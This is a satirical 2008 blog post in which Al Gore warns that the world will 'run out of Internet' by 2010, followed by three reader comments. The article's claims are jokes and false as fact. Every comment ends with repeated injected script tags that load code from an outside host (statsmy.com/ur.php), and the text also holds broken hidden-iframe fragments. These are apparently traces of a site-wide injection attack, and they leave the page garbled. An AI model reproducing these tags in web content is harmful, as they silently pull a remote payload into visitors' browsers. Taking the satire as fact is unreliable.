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The World is on Pace to Run out of Internet by 2010
by Kris on 7/15/2008 (3)

Al Gore getting his Internet on.
Al Gore is back on his soapbox again, this time foretelling a disaster far greater than global warming could ever hope to be.

"Simply put, we're running out of Internet," said all Gore at an impromptu Internet summit yesterday. The inventor of the Internet organized the event, attended by the most powerful web presences in the world, in hopes of preventing such a global epidemic.

Today there are over 1.4 billion Internet users worldwide, a growth of 290% since 2000 and this trend looks to continue as countries such as China and India become more technologically advanced. At these rates, there simply won't be enough Internet for everyone by 2010.

"Today we take for granted getting instant stock quotes, keeping up to date on today's news as it breaks, and posting drunken photos on MySpace," said Gore to a terrified crowd. "But if a change is not made soon, we could be out of Internet and out of luck."

If Internet were to run out, it could send the entire world back into the pre-Internet age. People would be forced to write letters on paper, music would have to be purchased legally from a price-gouging record store, and stalking would have to be done in person, while hiding behind a bush.

"Imagine the 1980's all over again," warned Gore.

The only option to prevent running out of Internet is to limit and discourage Internet use. If you use ten hours of Internet per day, try to cut it down to seven hours a day. If you want to know what the weather is like outside, try going outside instead of looking it up on Weather.com. And if you want to sell something, try having a garage sale or posting an ad in the paper.

There are plenty of people today that don't use Internet, namely old people and babies. If we want to keep selfishly using Internet for our own good, we must discourage these non-Internet users from using our Internet. If you know an old person that is thinking about using Internet, tell them it will steal their identity and give their computer viruses. If you know a baby, warn them that monsters like Michael Jackson live on the Internet or distract them with a colorful puppet (this may also work for old people).

Companies that attended the summit such as Microsoft, Cisco, and Joe's Chicken Shack (they were local to the area and willing to cater for a minimal fee) are already hard at work on finding a solution, but it won't likely be ready until at least 2012. Until then, we must all do our part so that we don't completely run out of Internet.isplay:0" style="display:no


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Comments

1. by Keli-Iceland on 7/17/2008 1:47:32 PM
For a person that says he invented the internet he seems to not know a whole lot about how it works...<ifr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Oli-Iceland on 7/18/2008 12:36:32 PM
I think he's a bit too much on the drugs, perhaps mushrooms? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Al Gore on 7/20/2008 12:12:28 PM
Al Gore does not do mushrooms, Al Gore is high on life. And speed. Mostly speed acctually.t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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